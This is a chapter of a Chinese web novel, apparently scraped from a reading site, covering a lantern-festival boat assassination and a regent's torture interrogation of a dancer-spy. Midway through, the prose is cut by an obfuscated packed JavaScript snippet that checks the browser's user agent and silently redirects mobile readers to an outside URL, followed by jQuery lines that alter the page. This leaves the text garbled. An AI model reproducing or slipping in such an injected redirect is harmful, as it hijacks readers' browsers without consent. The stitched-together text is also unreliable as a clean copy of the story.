六月十五,戌时。
暮色如纱,河岸两侧早已悬起各式花灯。
暖黄的光晕连缀成片,静静流淌。
马车停靠在岸边的槐树下。
萧珩走在前面,沈挽棠刻意落后半步跟在后面。
她的目光不时落在前面身影上。
灯火勾勒,方才冷硬如冰的线条,此刻却显出近乎温柔的轮廓。
“你可是在心里怪我?”萧珩忽然开口。
他方才将人带离,态度有些强硬。
沈挽棠一句不敢在唇边辗转,终究未能出口,只垂着头走。
萧珩却倏然放慢了脚步。
不过瞬息,两人已并肩而行,衣袖在夜风中轻轻相触,若即若离。
他侧首,目光落在她眉眼间:“那日遇袭,你舍身相护,胆魄惊人,可不似此刻这般怯懦畏缩。”
沈挽棠因突然逼近的气息,下意识后退,脚下却踩到块松动的卵石,身形一晃。
温热的大手及时托住了她的后腰。
触碰一瞬即离,快得仿佛只是错觉。
她疏离应道:“学生……彼时情势危急,不过是情急之下的本能反应,先生莫要再取笑学生了。”
清晰的灼热感还在,透过衣料熨烫在肌肤上。
她神色淡然,刻意划清界限。
萧珩见她这般,心头那股才被夜风稍稍抚平的燥意,瞬间复燃,且烧得更旺。
良久,他极轻地冷哼了一声。
.
江面上,各色画舫灯火通明。
装饰清雅的画舫正缓缓驶向河心,将岸上的喧嚣远远抛在身后。
船头,卫陵如一尊冰雕,警惕地扫视着四周。
船舱内,沈挽棠与萧珩相对而坐,中间隔着一方小几。
茶烟袅袅。
船外,夜空被璀璨的烟火点亮。
沈挽棠走上船面。
万千光华倾泻而下,河面映照如琉璃,美不胜收。
沈挽棠仰起头,清澈的眸子里映满了流光溢彩。
她眉眼间漾开纯粹的欢喜。
眼前美景,分毫不差地落入了萧珩眼中。他不动声色地摩挲指节。
画舫驶入最热闹的水域,邻船的丝竹管弦与调笑声阵阵传来。
几条挂着粉纱灯笼的舫船上,身姿曼妙的舞姬正随着乐曲翩跹起舞,水袖飞扬间,眼波流转,媚意横生。
其中一人,尤为出众,正是窈娘。
她的目光越过喧嚣,精准地捕捉到了对面画舫上的景象。
萧珩那般冷峻人物竟出现,那深沉难测的目光,竟自始至终都缠绕在身旁那位清俊学子身上。
她不由得掩唇轻笑。
她跟身旁姐妹交换一个心照不宣的眼神,带着洞悉一切的调侃。
“瞧见了么?那位爷看着冷情,像是九天上的冰疙瘩,却把自家的小先生看得跟眼珠子似的,一刻也舍不得挪开呢。”
夜色愈发深浓,暗潮汹涌。
画舫行至河心最开阔处,最是浮华胜景。
然而,异变陡生。
“噗通!”
几声水响过后,数道身着黑色身影如鬼魅般翻上船面。手中短刃在反射出幽冷的寒光,直扑舱门。
“有刺客!保护先生!”
卫陵厉喝。
他长剑出鞘,剑光过处,已有两名刺客捂着喉咙倒下。
卫陵精准击落刺客欲塞入口中的毒丸,留下活口。
这批刺客训练有素,目的明确。
且为首之人眼神毒辣,一眼便锁定身影较弱的沈挽棠。他虚晃一招避开卫陵的剑锋,身形顿矮,刀锋直刺沈挽棠心口。
萧珩眸中冰层碎裂,杀意凌厉。
沈挽棠只觉一股不容抗拒的力量袭来,天旋地转间,已被牢牢护在怀中,脸颊紧贴着他温热的胸膛。
她清晰地感受着绷紧的肌肉线条。
宽大的袖袍遮住了她的视线,一片黑暗。
萧珩一手护着沈挽棠,同时另一只手五指如铁钳般扼上对方咽喉,毫不留情地一收一拧。
温热的液体溅上舱壁,沈挽棠只听见一声脆响。
她抬头,恰好看见他紧蹙的眉头,还有凌厉的下颌线条。
这样的先生,她不曾见过。
刺客目标明确,越来越多的人试图突破防线,冲向沈挽棠。
萧珩周身散发出骇人杀气。
“哗啦!”
又一道身影从水下猛地窜出,湿漉冰冷的手猝然抓住了沈挽棠的脚踝。
女刺客蒙着面,身形灵动异常。
萧珩为护沈挽棠周全,衣袍下摆被对方刁钻的匕首划开道裂口。
船面太开阔,四面受敌。
沈挽棠拉着萧珩进了船舱。
舱外兵刃交击声、落水声依然清晰,却被舱门木板隔绝在了另一个世界。
桌上的防风灯燃烧着,光影晃动。两人纠缠的身影映照在狭窄的舱壁。
极致的寂静与喧嚣的对比,生死压迫下,沈挽棠心头升起一股莫名的情绪。
她被驱使着,鬼使神差地说:“先生,别怕。卫大人他们定能应付。”
话音未落,她自己先愣住了。
她怎会说出这样的话?
几乎是同时,她微颤的指尖抬起,拂开了他额前方才散落的一缕濡湿墨发。
发丝微凉,沾染着汗意与若有若无的血腥气。
她的指尖感到一股近乎灼烫的触感。
这个动作,过于亲密,也过于突然。
萧珩的呼吸骤停,身体僵硬如铁。
一瞬间,维持已久的沉静冰面在瞬间碎裂,消融殆尽。
其下翻涌着深不见底的浓暗情绪,滚烫的占有和渴求几乎焚尽一切。
那双凤眸无比深沉,带着近乎凶狠的贪恋,如同无形的粘稠蛛网,将眼前近在咫尺的人牢牢缠绕、缚住。
萧珩的目光不受控地掠过她的羽睫,描摹她因紧张而微启的唇瓣。
一种俯身攫取的冲动,如野火般在他血脉中疯狂叫嚣。
.
影卫司,水牢。
水牢深埋地底,需穿过一条窄桥方能抵达。
桥下浊浪翻涌,隐约可见白骨沉浮。
墙壁渗着水汽,火光扭曲摇曳。
窈娘被锁链缚在刑架之上,早已不复往日风采。
她云鬓散乱,华美裙衫被鞭子撕裂成布条,伤口皮肉翻卷。
持续的灼痛让她控制不住地痉挛,与之前那个眼波流转、长袖善舞的花魁判若两人。
萧珩端坐在阴影里的太师椅上,如同蛰伏的猛兽,静默地看着这一切。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744547|189821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
周身气息比水牢更为冰寒。
窈娘艰难地抬起头,喘着粗气。
“原来你们早就知道了我的身份,知道我刻意接近,是为了王爷……摄政王当真是好手段,竟带着我假意探查水患,引蛇出洞。”
“你可真是忠心。”卫陵的声音冰冷,“即便察觉是饵,也甘愿咬钩,留在京城。你说,李执善他知道你为他做到如此地步吗?”
李执善是临安王的名字。
听到这个名字,窈娘眼中恍惚。
她仿佛看见了那个让她甘愿赴汤蹈火的身影。
“王爷不需要知道!”她猛地回过神,语气带着殉道者的疯狂,“我也不会告诉你他在哪里!哦,即便你知道了,也抓不到他的,永远别想!”
卫陵手腕一抖,长鞭带着破空之声,再次落下。
窈娘压抑不住地凄厉惨嚎。
萧珩面无表情,指节分明的手端起茶盏。
盏壁温热,却驱不散他眉宇间的寒意。
卫陵躬身,低声禀报:“京城几位官员,如吏部张焕、漕运使赵志明,虽未直接投靠,但其贪腐蠢行,客观上为李执的残部提供了银钱与漕运之便……”
听着这些与自己接头之人的名字被一一点出,窈娘的心沉入冰窟。
不过,对于背后那条真正的大鱼,她的确也一无所知。
“王爷,此人如何处置?”
“杀了。”
命令下达得没有一丝犹豫。
此人已知情报已被榨尽,留之无用。且其心志坚定,绝不会真正背叛旧主。
更重要的是,临安王的踪迹他已掌握。
她,已是一枚弃子。
濒死的恐惧让窈娘脑中灵光一闪。
她挣扎着抬头,嘶声道:“谁能想到杀伐决断的摄政王,私下竟也是个情种,真是可笑!”
萧珩眸光骤然一凛。
他倏然起身,取过刑架上的匕首,手臂一扬,匕首狠狠钉入了她的肩胛骨缝。
剧烈的疼痛让窈娘眼前一黑,几乎瞬间昏死过去。
“原本,看在你弟弟尚在襁褓,本王有意留他一命。现在看来,是你不想。”
萧珩的声音低沉平缓。
窈娘瞳孔骤缩。
弟弟的存在是她拼死守护的秘密,为了他的安全,她从未联系,更未对任何人提及。他怎么会知道?
他肯定是诈自己的对不对!
无边的悔意将她淹没,她不该在最后关头去触怒这尊杀神!
萧珩不再多看她一眼,仿佛她已是一个死人,转身便走。
极致的恐惧压倒了疼痛。
窈娘强忍着战栗,声音破碎不堪:“我……我若用一个王爷尚且不知的秘密交换……王爷可否饶我弟弟一命?”
萧珩的脚步未有丝毫停顿,如同未闻。
死亡的阴影彻底笼罩下来。
窈娘孤注一掷,嘶声喊道:“那秘密……有关于顾学子!”
萧珩的脚步停住。
窈娘知道她抓住了最后一根稻草,脸上挤出诡秘笑容:“王爷放心,这个秘密关乎您身边那位顾学子……您一定……会感兴趣的。”
萧珩缓缓转过身。
昏暗中看不清他的神情,唯有蹙起的眉头,显露出难以言喻的波澜。
“说。”